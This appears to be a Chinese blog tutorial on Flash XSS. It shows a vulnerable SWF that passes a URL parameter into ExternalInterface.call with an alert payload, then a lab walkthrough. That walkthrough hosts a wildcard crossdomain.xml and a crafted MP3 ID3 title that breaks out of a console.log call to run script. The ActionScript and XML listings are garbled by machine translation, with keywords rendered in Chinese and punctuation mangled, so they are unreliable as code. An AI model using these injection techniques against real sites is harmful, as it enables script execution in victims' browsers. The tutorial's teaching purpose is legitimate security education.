Flash XSS漏洞快速上手

 

0x01 Flash XSS

 xss一是指执行恶意js,那么为什么说flash xss呢?是因为flash有可以调用js的函数,也就是可以和js通信,因此这些函数如果使用不当就会造成xss。常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie等等

 

0x02 ExternalInterface.call举例

AS中ExternalInterface类是用来和js通信的,调用方法是用来调用js函数的,函数原型


 
 
  1. ExternalInterface.call(functionName:字符串,...参数):*
  2. fuctionName:要调用的JavaScript的函数名
  3. 参数:参数,可选

 

函数具体用法请参考

http://help.adobe.com/zh_CN/FlashPlatform/reference/actionscript/3/flash/external/ExternalInterface.html

 

如下AS代码

 


 
 
  1. {import flash.display.Sprite; import flash.external.ExternalInterface; 公共类XSSTest扩展了Sprite
  2. {public function XSSTest()
  3. {var jsFunction:String = loaderInfo.parameters.jsFunction; var param:String =“abc”;
  4. ExternalInterface.call(jsFunction,param);
  5. }
  6. }
  7. }

这里通过flashvars传递了一个参数,是js的函数。这种方式比较常见,swf可以做成通用,放到不同的业务中使用,每次只需要传入对应的js函数即可。但是,这里就存在漏洞了。    

 

 在浏览器中,构造URL:

XSSTest.swf jsFunction =alert(/xss/) 
 
 

访问SWF,并以获取参数的形式传入Flash变数,造成了 XSS

 

 

0×03实践

这是一个简单的网页,里边有flash做的MP3播放器。

我们先黑盒看一下:

查看网络

 

 

加载了swf,查看源码

 

看到MP3参数传递的是MP3文件。我们尝试从URL传递参数访问http://192.168.6.2/_files/XSSC1.swf?mp3=../1.mp3

看控制台,有奇怪的输出。

 

 

把MP3文件下载下来分析一下

http://192.168.6.2/1.mp3

 

 

 

 

保存下来

右键属性看摘要

 

 

 

 

这个文件的标题就是console的输出,由此我们推测为文件里源码有调用js函数console.log(“MP3的标题”) ;

既然是教程,那我们就白盒看一下这个SWF的源码:


 
 
  1. {
  2. import flash.events。*;
  3. import flash.display。*;
  4. import flash.media。*;
  5. import flash.external。*;
  6. import flash.net。*;
  7. import flash.system。*;
  8. 公共类XSSC1扩展Sprite {
  9. private var m:声音;
  10. 公共功能XSSC1(){
  11. var mp3:* = null;
  12. var host:* = null;
  13. var u:* = null;
  14. var context:* = null;
  15. 超();
  16. var p:* = this.loaderInfo.parameters;
  17. if((“mp3”in p)){
  18. mp3 = p [“mp3”];
  19. host =((mp3.match(/ ^(https?:\ / \ / [^ \\\ /] +)/))||([“”,“”]))[1];
  20. Security.loadPolicyFile((host +“/ crosdomain.xml”));
  21. u = new URLRequest(mp3);
  22. context = new SoundLoaderContext(1000,true);
  23. m = new Sound();
  24. m.load(你,上下文);
  25. m.play();
  26. m.addEventListener(Event.ID3,function(e:Event):void {
  27. if((m.id3中的“songName”)){
  28. if(ExternalInterface.available){
  29. 迹(m.id3.songName);
  30. ExternalInterface.call(“console.log”,m.id3.songName);
  31. };
  32. };
  33. });
  34. };
  35. }
  36. }
  37. }//包

 

 

那么,我们本地搭建web服务器,构造MP3标题即可触发xss。

首先我们本地创建的Web服务器根目录

 

 

 

 

把刚才下载的MP3复制进去,然后创建crossdomain.xml的文件,内容


 
 
  1. <?xml version =“1.0”?>
  2. < - http://www.foo.com/crossdomain.xml - >
  3. <!DOCTYPE跨域策略系统“http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd”>
  4. <跨域策略>
  5. <allow-access-from domain =“*”/>
  6. <site-control allowed-cross-domain-policies =“all”/>
  7. <allow-http-request-headers-from domain =“*”headers =“*”/>
  8. </跨域策略>

 

 

 

 

 

然后我们修改1.MP3的标题为\“)); alert(1);} catch(a){} //,右键属性

 

在cmd 里切换到web 目录,执行C:\ Python27 \ python -m SimpleHTTPServer 80 开启web 服务器

 

然后访问http://192.168.6.2/_files/XSSC1.swf?mp3=http://192.168.5.66/1.mp3

 

成功XSS

posted @ 2019-05-12 19:42 卿先生 阅读(...) 评论(...) 编辑 收藏

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值